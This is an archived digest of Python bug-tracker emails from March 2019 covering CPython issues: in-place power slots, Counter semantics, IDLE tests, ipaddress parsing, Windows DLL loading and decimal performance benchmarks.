_______________________________________

From report at bugs.python.org  Wed Mar 20 13:36:02 2019
From: report at bugs.python.org (Stefan Krah)
Date: Wed, 20 Mar 2019 17:36:02 +0000
Subject: [issue36379] nb_inplace_pow is always called with an invalid argument
In-Reply-To: <1553083293.5.0.811205671176.issue36379@roundup.psfhosted.org>
Message-ID: <1553103362.91.0.0273071954173.issue36379@roundup.psfhosted.org>


Stefan Krah <stefan at bytereef.org> added the comment:

Like Josh I don't quite understand the problem description. This
for example works:

>>> class C(int):
...     def __ipow__(self, other, mod=None):
...         return pow(self, other, mod)
... 
>>> 
>>> x = C(10)
>>> x
10
>>> x **= 3
>>> x
1000

----------
nosy: +skrah

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36379>
_______________________________________

From report at bugs.python.org  Wed Mar 20 13:42:23 2019
From: report at bugs.python.org (Zuzu_Typ)
Date: Wed, 20 Mar 2019 17:42:23 +0000
Subject: [issue36379] nb_inplace_pow is always called with an invalid argument
In-Reply-To: <1553083293.5.0.811205671176.issue36379@roundup.psfhosted.org>
Message-ID: <1553103743.54.0.540910730999.issue36379@roundup.psfhosted.org>


Zuzu_Typ <zuzu.typ at gmail.com> added the comment:

This isn't about the CPython Interpreter, it's about the C-API, the APIT for writing c-extensions for Python.

I know it works in CPython.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36379>
_______________________________________

From report at bugs.python.org  Wed Mar 20 14:27:00 2019
From: report at bugs.python.org (Stefan Krah)
Date: Wed, 20 Mar 2019 18:27:00 +0000
Subject: [issue36379] nb_inplace_pow is always called with an invalid argument
In-Reply-To: <1553083293.5.0.811205671176.issue36379@roundup.psfhosted.org>
Message-ID: <1553106420.18.0.533372943686.issue36379@roundup.psfhosted.org>


Stefan Krah <stefan at bytereef.org> added the comment:

Ok, got it. I think __ipow__ should be a ternaryfunc, like so:

diff --git a/Objects/typeobject.c b/Objects/typeobject.c
index 403f3caaee..914d076b5c 100644
--- a/Objects/typeobject.c
+++ b/Objects/typeobject.c
@@ -7032,7 +7032,7 @@ static slotdef slotdefs[] = {
     IBSLOT("__imod__", nb_inplace_remainder, slot_nb_inplace_remainder,
            wrap_binaryfunc, "%="),
     IBSLOT("__ipow__", nb_inplace_power, slot_nb_inplace_power,
-           wrap_binaryfunc, "**="),
+           wrap_ternaryfunc, "**="),
     IBSLOT("__ilshift__", nb_inplace_lshift, slot_nb_inplace_lshift,
            wrap_binaryfunc, "<<="),
     IBSLOT("__irshift__", nb_inplace_rshift, slot_nb_inplace_rshift,



On the other hand it is odd if "**=" can never use the third argument.

----------
nosy: +rhettinger

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36379>
_______________________________________

From report at bugs.python.org  Wed Mar 20 14:29:38 2019
From: report at bugs.python.org (Stefan Krah)
Date: Wed, 20 Mar 2019 18:29:38 +0000
Subject: [issue36379] nb_inplace_pow is always called with an invalid argument
In-Reply-To: <1553083293.5.0.811205671176.issue36379@roundup.psfhosted.org>
Message-ID: <1553106578.23.0.251847588442.issue36379@roundup.psfhosted.org>


Change by Stefan Krah <stefan at bytereef.org>:


----------
stage:  -> needs patch

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36379>
_______________________________________

From report at bugs.python.org  Wed Mar 20 15:07:07 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Wed, 20 Mar 2019 19:07:07 +0000
Subject: [issue36380] collections.Counter in-place operators are unexpectedly
 slow
In-Reply-To: <1553084006.71.0.725416830974.issue36380@roundup.psfhosted.org>
Message-ID: <1553108827.37.0.380495421927.issue36380@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:

FWIW, the promised semantics of saturating arithmetic require that _keep_positive be run on entire the entire counter:

    >>> c1 = Counter(a=-3, b=4)
    >>> +c1
    Counter({'b': 4})

    >>> from collections import Counter
    >>> c1 = Counter(a=-3, b=4)
    >>> c2 = Counter(b=5, c=5)
    >>> c1 += c2                 # The "a" entry gets removed
    >>> c1
    Counter({'b': 9, 'c': 5})

When this behavior isn't wanted, use the update() method which is documented not to perform removal of non-positive values.  That method is fast in pure python and has an even faster C helper function:

    >>> c1 = Counter(a=-3, b=4)
    >>> c2 = Counter(b=5, c=5)
    >>> c1.update(c2)
    >>> c1
    Counter({'b': 9, 'c': 5, 'a': -3})

And as mentioned before, the Counter API is not encapsulated -- the underlying structure is fully exposed, so a user is free to do anything with it that they can do with a regular dictionary.

A final thought is to be careful when proposing to rewrite the internals of the existing methods.  These methods are careful to retain ordering of inputs, to not use auxiliary data fields (it is just a dict variant with no other structure), and to make only minimal assumptions about the datatype for the count.  They are designed to not be magical.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36380>
_______________________________________

From report at bugs.python.org  Wed Mar 20 15:35:54 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Wed, 20 Mar 2019 19:35:54 +0000
Subject: [issue30869] IDLE: Don't touch .idlerc when testing.
In-Reply-To: <1499397666.15.0.337246084117.issue30869@psf.upfronthosting.co.za>
Message-ID: <1553110554.96.0.612943788202.issue30869@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:

I closed PR 2614 in response to Victor's comments, in particular his preference that tests not even read .idlerc.  Since we do not want tests to depend on the contents, there is no need to even read the contents.  (And the exception of testing write-read round-tripping requires a fresh temporary directory.)

I propose that when testing, config.py should create idleConf.usercfg empty, without reference to .idlerc.  The result would be the same as now after usercfg is replaced with testcfg, as in test_configdialog, without the need to revert the replacement.

test_idle has the equivalent of
  import idlelib
  idlelib.testing = True
The same should be added to any test module that sets options.  Then idlelib.testing can be used to change config.py behavior.

Victor: what changes to a module trigger the 'environment changed' warning/error?  The above unreverted change to idlelib.__init__ does not.  The unreverted change to idleCong in test_configdialog did, until fixed.

----------
assignee:  -> terry.reedy
components: +IDLE -Library (Lib)
stage:  -> needs patch
title: regrtest: Add .idlerc to saved_test_environment -> IDLE: Don't touch .idlerc when testing.
type:  -> behavior
versions: +Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue30869>
_______________________________________

From report at bugs.python.org  Wed Mar 20 15:45:21 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 20 Mar 2019 19:45:21 +0000
Subject: [issue36312] Invalid flag for some code page decoders
In-Reply-To: <1552726748.1.0.995612438191.issue36312@roundup.psfhosted.org>
Message-ID: <1553111121.84.0.58018322833.issue36312@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:


New changeset c1e2c288f41cdc1c6e6e09d9a5277a58232ceb03 by Serhiy Storchaka in branch 'master':
bpo-36312: Fix decoders for some code pages. (GH-12369)
https://github.com/python/cpython/commit/c1e2c288f41cdc1c6e6e09d9a5277a58232ceb03


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36312>
_______________________________________

From report at bugs.python.org  Wed Mar 20 15:45:40 2019
From: report at bugs.python.org (miss-islington)
Date: Wed, 20 Mar 2019 19:45:40 +0000
Subject: [issue36312] Invalid flag for some code page decoders
In-Reply-To: <1552726748.1.0.995612438191.issue36312@roundup.psfhosted.org>
Message-ID: <1553111140.66.0.413398582644.issue36312@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12427

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36312>
_______________________________________

From report at bugs.python.org  Wed Mar 20 15:49:43 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 20 Mar 2019 19:49:43 +0000
Subject: [issue36285] Integer overflow in array.array.remove()
In-Reply-To: <1552521762.27.0.553620503066.issue36285@roundup.psfhosted.org>
Message-ID: <1553111383.65.0.152796435783.issue36285@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:


New changeset aa3ecb80416958eb6fe8cc1b0dfbbfdfbcccead1 by Serhiy Storchaka (sth) in branch 'master':
bpo-36285: Fix integer overflow in the array module. (GH-12317)
https://github.com/python/cpython/commit/aa3ecb80416958eb6fe8cc1b0dfbbfdfbcccead1


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36285>
_______________________________________

From report at bugs.python.org  Wed Mar 20 15:52:30 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Wed, 20 Mar 2019 19:52:30 +0000
Subject: [issue33964] IDLE maxosc.overrideRootMenu: remove unused menudict
In-Reply-To: <1529985716.89.0.56676864532.issue33964@psf.upfronthosting.co.za>
Message-ID: <1553111550.2.0.193567469127.issue33964@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

Since there's a `self.menudict` in the editor, I wonder if this was intended for that.  The `self.menudict` is used in `ApplyKeyBindings`, which is called when the key bindings change in configdialog.  So, if the mac OS menu isn't added to `self.menudict`, does that mean that the Mac key bindings aren't updated?

----------
nosy: +cheryl.sabella

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33964>
_______________________________________

From report at bugs.python.org  Wed Mar 20 16:10:17 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Wed, 20 Mar 2019 20:10:17 +0000
Subject: [issue36324] Inverse cumulative normal distribution function
In-Reply-To: <1552810539.51.0.509978356002.issue36324@roundup.psfhosted.org>
Message-ID: <1553112617.15.0.982111825952.issue36324@roundup.psfhosted.org>


Change by Raymond Hettinger <raymond.hettinger at gmail.com>:


----------
pull_requests: +12428

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36324>
_______________________________________

From report at bugs.python.org  Wed Mar 20 16:16:37 2019
From: report at bugs.python.org (Aaron Hall)
Date: Wed, 20 Mar 2019 20:16:37 +0000
Subject: [issue26103] Contradiction in definition of "data descriptor" between
 (dotted lookup behavior/datamodel documentation) and (inspect
 lib/descriptor how-to)
In-Reply-To: <1452718612.1.0.925403449689.issue26103@psf.upfronthosting.co.za>
Message-ID: <1553112997.4.0.386460618889.issue26103@roundup.psfhosted.org>


Change by Aaron Hall <aaronchall at yahoo.com>:


----------
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue26103>
_______________________________________

From report at bugs.python.org  Wed Mar 20 16:22:51 2019
From: report at bugs.python.org (Aaron Hall)
Date: Wed, 20 Mar 2019 20:22:51 +0000
Subject: [issue31753] Unnecessary closure in ast.literal_eval
In-Reply-To: <1507672927.75.0.213398074469.issue31753@psf.upfronthosting.co.za>
Message-ID: <1553113371.94.0.401439531535.issue31753@roundup.psfhosted.org>


Aaron Hall <aaronchall at yahoo.com> added the comment:

No need to keep this open, I agree with the core developers this shouldn't be changed.

----------
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31753>
_______________________________________

From report at bugs.python.org  Wed Mar 20 16:29:11 2019
From: report at bugs.python.org (miss-islington)
Date: Wed, 20 Mar 2019 20:29:11 +0000
Subject: [issue36324] Inverse cumulative normal distribution function
In-Reply-To: <1552810539.51.0.509978356002.issue36324@roundup.psfhosted.org>
Message-ID: <1553113751.54.0.542897312852.issue36324@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset 2afb59861827a23c1b50e44022bb77291351c2f1 by Miss Islington (bot) (Raymond Hettinger) in branch 'master':
bpo-36324: NormalDist() add more tests and update comments (GH-12476)
https://github.com/python/cpython/commit/2afb59861827a23c1b50e44022bb77291351c2f1


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36324>
_______________________________________

From report at bugs.python.org  Wed Mar 20 17:00:58 2019
From: report at bugs.python.org (Christoph Reiter)
Date: Wed, 20 Mar 2019 21:00:58 +0000
Subject: [issue28859] os.path.ismount sometimes raises FileNotFoundError on
 Windows
In-Reply-To: <1480689560.28.0.129916928722.issue28859@psf.upfronthosting.co.za>
Message-ID: <1553115658.56.0.230084145959.issue28859@roundup.psfhosted.org>


Change by Christoph Reiter <reiter.christoph at gmail.com>:


----------
versions: +Python 3.7 -Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue28859>
_______________________________________

From report at bugs.python.org  Wed Mar 20 17:59:30 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Wed, 20 Mar 2019 21:59:30 +0000
Subject: [issue7936] sys.argv contains only scriptname
In-Reply-To: <1266260840.45.0.891652447218.issue7936@psf.upfronthosting.co.za>
Message-ID: <1553119170.66.0.06695143331.issue7936@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:

I am closing this because there is no identifiable issue with the current installers.  Initial issues were reported fixed.  The most recent issue reported by Alecz was that installing 2.7 after 3.4 caused python files to be opened by 2.7.  This is what should happen when 2.7 is installed as the default python (there is an option to select this or not). Questions about using python.org installers or python should be directed elsewhere, such as python-list.

----------
nosy: +terry.reedy
resolution:  -> out of date
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue7936>
_______________________________________

From report at bugs.python.org  Wed Mar 20 19:36:13 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 20 Mar 2019 23:36:13 +0000
Subject: [issue29301] decimal: Use FASTCALL and/or Argument Clinic
In-Reply-To: <1484671124.21.0.493200110844.issue29301@psf.upfronthosting.co.za>
Message-ID: <1553124973.68.0.841576701334.issue29301@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

>  Also, the performance improvements are in argument parsing, but not when you have numerical code like a * b, where a and b are already decimals.

If the function call takes around 100 ns, the benefit of FASTCALL and the new more efficient function to parse arguments becomes quite significant. Some Decimal methods are that fast if not faster.

python3 -m perf timeit \
   -s 'import decimal; a=decimal.Decimal(1); b=decimal.Decimal(2); ctx=decimal.getcontext()' \
   'ctx.copy_sign(a, b)' \
   --duplicate=1024

=> Mean +- std dev: [ref] 148 ns +- 1 ns -> [fastcall] 98.9 ns +- 4.9 ns: 1.49x faster (-33%)

./python -m perf timeit \
   -s 'import decimal; a=decimal.Decimal(1); b=decimal.Decimal(2)' \
   'a.copy_sign(b)' \
   --duplicate=1024

=> Mean +- std dev: [ref] 123 ns +- 5 ns -> [fastcall] 86.5 ns +- 1.4 ns: 1.42x faster (-29%)

I wrote a quick & dirty change using directly METH_FASTCALL with _PyArg_ParseStackAndKeywords() (dec_mpd_qcopy_sign) and _PyArg_CheckPositional() (ctx_mpd_qcopy_sign). Using Argument Clinic may be more verbose, but it generates *even more* efficient code for functions accepting keyword arguments (like Decimal.copy_sign) and generate better docstring (at least, the signature for function parameters if no text is given).

Obviously, if your application only uses large numbers, the benefit will be invisible. But I guess that some people use decimal with "small" numbers ;-)

Note: Sure, you're right that operators like "a * b" wouldn't benefit from FASTCALL since they don't parse explicitly arguments. BINARY_MULTIPLY instruction gets directly 2 values from the Python stack and pass them to PyNumber_Multiply() with is defined to always take exactly 2 PyObject* in C.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue29301>
_______________________________________

From report at bugs.python.org  Wed Mar 20 19:40:09 2019
From: report at bugs.python.org (Joel Croteau)
Date: Wed, 20 Mar 2019 23:40:09 +0000
Subject: [issue36384] ipaddress Should not reject IPv4 addresses with leading
 zeroes as ambiguously octal
Message-ID: <1553125209.55.0.0358803413865.issue36384@roundup.psfhosted.org>


New submission from Joel Croteau <jcroteau at liveramp.com>:

I understand to a certain extent the logic in not allowing IPv4 octets that might ambiguously be octal, but in practice, it just seems like it creates additional parsing hassle needlessly. I have never in many years of working on many networked systems seen anyone use dotted octal format, it is actually specifically forbidden by RFC 3986 (https://tools.ietf.org/html/rfc3986#section-7.4), and it means that the ipaddress module throws exceptions on many perfectly valid IP addresses just because they have leading zeroes. Since the module doesn't support dotted octal or dotted hex anyway, this check seems a little pointless. If nothing else, there should be a way to disable this check by specifying that your IPs are in fact dotted decimal, otherwise it seems like it's just making you have to do extra parsing work or just write your own implementation.

----------
components: Library (Lib)
messages: 338514
nosy: Joel Croteau
priority: normal
severity: normal
status: open
title: ipaddress Should not reject IPv4 addresses with leading zeroes as ambiguously octal
type: behavior
versions: Python 2.7, Python 3.5, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36384>
_______________________________________

From report at bugs.python.org  Wed Mar 20 19:45:05 2019
From: report at bugs.python.org (Steve Dower)
Date: Wed, 20 Mar 2019 23:45:05 +0000
Subject: [issue36085] Enable better DLL resolution
In-Reply-To: <1550881737.58.0.129017089721.issue36085@roundup.psfhosted.org>
Message-ID: <1553125505.13.0.986947796079.issue36085@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

I think we'll be keeping Win7 with the KB.

However, we've discovered in the PR that changing the default DLL lookup may cause Python to crash when accessing HKEY_PERFORMANCE_DATA (which fails to delay-load a DLL). This occurs because accessing that key enumerates a set of installed services (presumably both 1st and 3rd party) and one of those fails on AppVeyor. (The Azure Pipelines tests are fine, as are all the local test machines I've used.) There's no indication what AppVeyor has installed that is causing the problem.

So it seems we'll have to not use the safe DLL lookup for all parts of CPython, and restrict it only to ctypes and extension module loading. (Or else drop AppVeyor as a required check.)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36085>
_______________________________________

From report at bugs.python.org  Wed Mar 20 20:22:44 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Thu, 21 Mar 2019 00:22:44 +0000
Subject: [issue36256] parser module fails on legal input
In-Reply-To: <1552235819.03.0.691593467494.issue36256@roundup.psfhosted.org>
Message-ID: <1553127764.57.0.661059086344.issue36256@roundup.psfhosted.org>


Change by Pablo Galindo Salgado <pablogsal at gmail.com>:


----------
keywords: +patch
pull_requests: +12429
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36256>
_______________________________________

From report at bugs.python.org  Wed Mar 20 20:24:41 2019
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 21 Mar 2019 00:24:41 +0000
Subject: [issue29301] decimal: Use FASTCALL and/or Argument Clinic
In-Reply-To: <1484671124.21.0.493200110844.issue29301@psf.upfronthosting.co.za>
Message-ID: <1553127881.56.0.623838987981.issue29301@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Hum, after reading again my previous, I'm not sure that my intent was clear. I'm fine with Stefan rejecting the optimization. He is the maintainer of decimal. I just wanted to comment what he said ;-)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue29301>
_______________________________________

From report at bugs.python.org  Wed Mar 20 20:24:46 2019
From: report at bugs.python.org (Josh Rosenberg)
Date: Thu, 21 Mar 2019 00:24:46 +0000
Subject: [issue36355] Remove documentation and internal use of the *RESTRICTED
 constants for PyMemberDef's flags field
In-Reply-To: <1552936699.26.0.01319442845.issue36355@roundup.psfhosted.org>
Message-ID: <1553127886.23.0.0732209646588.issue36355@roundup.psfhosted.org>


Josh Rosenberg <shadowranger+python at gmail.com> added the comment:

Yes, they're set. They're never *read* anywhere. My suggestion was to stop setting them (because it gives the impression they do something when reading the docs, when in fact they do nothing), and remove them from the docs.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36355>
_______________________________________

From report at bugs.python.org  Wed Mar 20 20:25:24 2019
From: report at bugs.python.org (Josh Rosenberg)
Date: Thu, 21 Mar 2019 00:25:24 +0000
Subject: [issue36355] Remove documentation and internal use of the *RESTRICTED
 constants for PyMemberDef's flags field
In-Reply-To: <1552936699.26.0.01319442845.issue36355@roundup.psfhosted.org>
Message-ID: <1553127924.93.0.0276885312293.issue36355@roundup.psfhosted.org>


Josh Rosenberg <shadowranger+python at gmail.com> added the comment:

Sorry, that should have been "it gives the impression they do something when reading the *source code*"

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36355>
_______________________________________

From report at bugs.python.org  Wed Mar 20 21:44:32 2019
From: report at bugs.python.org (Emmanuel Arias)
Date: Thu, 21 Mar 2019 01:44:32 +0000
Subject: [issue36385] Add ``elif`` sentence on to avoid multiple ``if``
Message-ID: <1553132672.06.0.731683076003.issue36385@roundup.psfhosted.org>


New submission from Emmanuel Arias <emmanuelarias30 at gmail.com>:

Currently, when arguments on Parser/asdl_c.py are parsed
?f sentence is used. This PR(https://github.com/python/cpython/pull/12478) Propose to use elif
to avoid multiple evaluting of the ifs.

----------
messages: 338519
nosy: eamanu
priority: normal
severity: normal
status: open
title: Add ``elif`` sentence on to avoid multiple ``if``
type: behavior
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36385>
_______________________________________

From report at bugs.python.org  Wed Mar 20 21:45:25 2019
From: report at bugs.python.org (Emmanuel Arias)
Date: Thu, 21 Mar 2019 01:45:25 +0000
Subject: [issue36385] Add ``elif`` sentence on to avoid multiple ``if``
In-Reply-To: <1553132672.06.0.731683076003.issue36385@roundup.psfhosted.org>
Message-ID: <1553132725.38.0.727869474041.issue36385@roundup.psfhosted.org>


Change by Emmanuel Arias <emmanuelarias30 at gmail.com>:


----------
keywords: +patch
pull_requests: +12430
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36385>
_______________________________________

From report at bugs.python.org  Wed Mar 20 22:46:25 2019
From: report at bugs.python.org (Windson Yang)
Date: Thu, 21 Mar 2019 02:46:25 +0000
Subject: [issue14934] generator objects can clear their weakrefs before being
 resurrected
In-Reply-To: <1338211208.4.0.755454859587.issue14934@psf.upfronthosting.co.za>
Message-ID: <1553136385.35.0.8273173946.issue14934@roundup.psfhosted.org>


Windson Yang <wiwindson at outlook.com> added the comment:

The fixed looks easy, we call `PyObject_CallFinalizerFromDealloc` before PyObject_ClearWeakRefs. But I can't come up with the use case for testing when generator resurrects from `PyObject_CallFinalizer`. Any ideas?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue14934>
_______________________________________

From report at bugs.python.org  Wed Mar 20 23:52:10 2019
From: report at bugs.python.org (anthony shaw)
Date: Thu, 21 Mar 2019 03:52:10 +0000
Subject: [issue36386] segfault on PyUnicode_DecodeFSDefaultAndSize for
 uninitialized Py
Message-ID: <1553140330.8.0.0322222584785.issue36386@roundup.psfhosted.org>


New submission from anthony shaw <anthony.p.shaw at gmail.com>:

If for whatever reason, Py_Initialize() has not been run or failed to run, any call to Py_CompileStringFlags will call PyUnicode_DecodeFSDefault and the reference to interp will be NULL.

There is currently no null reference check in PyUnicode_DecodeFSDefaultAndSize which causes a segfault.

https://github.com/python/cpython/blob/master/Objects/unicodeobject.c#L3736-L3737 is the offending line.

It might be better to catch the null pointer and raise an unrecoverable error there?

Error: signal 11:
0   ceval-prof                          0x00000001066310f3 handler + 35
1   libsystem_platform.dylib            0x00007fff6adddb3d _sigtramp + 29
2   ???                                 0x0000000000000000 0x0 + 0
3   ceval-prof                          0x0000000106734536 PyUnicode_DecodeFSDefault + 38
4   ceval-prof                          0x0000000106879514 Py_CompileStringExFlags + 36
5   ceval-prof                          0x0000000106631280 main + 320
6   libdyld.dylib                       0x00007fff6abf2ed9 start + 1

----------
components: Interpreter Core
messages: 338521
nosy: anthony shaw
priority: normal
severity: normal
status: open
title: segfault on PyUnicode_DecodeFSDefaultAndSize for uninitialized Py
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36386>
_______________________________________

From report at bugs.python.org  Thu Mar 21 00:32:00 2019
From: report at bugs.python.org (miss-islington)
Date: Thu, 21 Mar 2019 04:32:00 +0000
Subject: [issue36312] Invalid flag for some code page decoders
In-Reply-To: <1552726748.1.0.995612438191.issue36312@roundup.psfhosted.org>
Message-ID: <1553142720.82.0.137920241213.issue36312@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset 74829b7323642739cdc439c2c88d406daf92075b by Miss Islington (bot) in branch '3.7':
bpo-36312: Fix decoders for some code pages. (GH-12369)
https://github.com/python/cpython/commit/74829b7323642739cdc439c2c88d406daf92075b


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36312>
_______________________________________

From report at bugs.python.org  Thu Mar 21 00:39:20 2019
From: report at bugs.python.org (miss-islington)
Date: Thu, 21 Mar 2019 04:39:20 +0000
Subject: [issue36385] Add ``elif`` sentence on to avoid multiple ``if``
In-Reply-To: <1553132672.06.0.731683076003.issue36385@roundup.psfhosted.org>
Message-ID: <1553143160.04.0.376162443767.issue36385@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset ed5e29cba500c2336aacdb7c77953f1064235b72 by Miss Islington (bot) (Emmanuel Arias) in branch 'master':
bpo-36385: Add ``elif`` sentence on to avoid multiple ``if`` (GH-12478)
https://github.com/python/cpython/commit/ed5e29cba500c2336aacdb7c77953f1064235b72


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36385>
_______________________________________

From report at bugs.python.org  Thu Mar 21 00:39:50 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Thu, 21 Mar 2019 04:39:50 +0000
Subject: [issue36385] Add ``elif`` sentence on to avoid multiple ``if``
In-Reply-To: <1553132672.06.0.731683076003.issue36385@roundup.psfhosted.org>
Message-ID: <1553143190.75.0.120210866997.issue36385@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:

Thanks for the patch.

----------
nosy: +rhettinger
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36385>
_______________________________________

From report at bugs.python.org  Thu Mar 21 00:50:10 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Thu, 21 Mar 2019 04:50:10 +0000
Subject: [issue36323] IDLE: always display full grep path
In-Reply-To: <1552790935.7.0.135900073162.issue36323@roundup.psfhosted.org>
Message-ID: <1553143810.33.0.287445604042.issue36323@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:

Thanks.  I somehow never marked it for IDLE.  Using groupby components, I discovered another +-10 and marked them and included in my list.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36323>
_______________________________________

From report at bugs.python.org  Thu Mar 21 00:53:01 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Thu, 21 Mar 2019 04:53:01 +0000
Subject: [issue33950] IDLE htest: remove spec for deleted tabbedpages.py
In-Reply-To: <1529788241.37.0.56676864532.issue33950@psf.upfronthosting.co.za>
Message-ID: <1553143981.31.0.469371183815.issue33950@roundup.psfhosted.org>


Change by Terry J. Reedy <tjreedy at udel.edu>:


----------
assignee:  -> terry.reedy
components: +IDLE

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33950>
_______________________________________

From report at bugs.python.org  Thu Mar 21 00:53:17 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Thu, 21 Mar 2019 04:53:17 +0000
Subject: [issue28523] Idlelib.configdialog: use 'color' insteadof 'colour'
In-Reply-To: <1477345028.99.0.578585352452.issue28523@psf.upfronthosting.co.za>
Message-ID: <1553143997.92.0.568011304834.issue28523@roundup.psfhosted.org>


Change by Terry J. Reedy <tjreedy at udel.edu>:


----------
components: +IDLE

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue28523>
_______________________________________

From report at bugs.python.org  Thu Mar 21 00:53:35 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Thu, 21 Mar 2019 04:53:35 +0000
Subject: [issue18316] Idle 2.7: update to simplify cross-version patches
In-Reply-To: <1372364496.41.0.313371812412.issue18316@psf.upfronthosting.co.za>
Message-ID: <1553144015.97.0.120187316054.issue18316@roundup.psfhosted.org>


Change by Terry J. Reedy <tjreedy at udel.edu>:


----------
assignee:  -> terry.reedy
components: +IDLE

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue18316>
_______________________________________

From report at bugs.python.org  Thu Mar 21 00:53:55 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Thu, 21 Mar 2019 04:53:55 +0000
Subject: [issue27372] Test_idle should stop changing locale
In-Reply-To: <1466629469.32.0.618350098053.issue27372@psf.upfronthosting.co.za>
Message-ID: <1553144035.73.0.553926681274.issue27372@roundup.psfhosted.org>


Change by Terry J. Reedy <tjreedy at udel.edu>:


----------
components: +IDLE

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue27372>
_______________________________________

From report at bugs.python.org  Thu Mar 21 00:54:13 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Thu, 21 Mar 2019 04:54:13 +0000
Subject: [issue28514] Python (IDLE?) freezes on file save on Windows
In-Reply-To: <CAPs-mRc3L1ZcAD_eqe+JN0UDj2s_oxwXc=uCrHFtAOO-OUApyg@mail.gmail.com>
Message-ID: <1553144053.21.0.499244639431.issue28514@roundup.psfhosted.org>


Change by Terry J. Reedy <tjreedy at udel.edu>:


----------
assignee:  -> terry.reedy
components: +IDLE
nosy: +terry.reedy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue28514>
_______________________________________

From report at bugs.python.org  Thu Mar 21 01:30:36 2019
From: report at bugs.python.org (Cameron Simpson)
Date: Thu, 21 Mar 2019 05:30:36 +0000
Subject: [issue36375] PEP 499 implementation: "python -m foo" binds the main
 module as both __main__ and foo in sys.modules
In-Reply-To: <1553040840.44.0.769944520222.issue36375@roundup.psfhosted.org>
Message-ID: <1553146236.51.0.387353567022.issue36375@roundup.psfhosted.org>


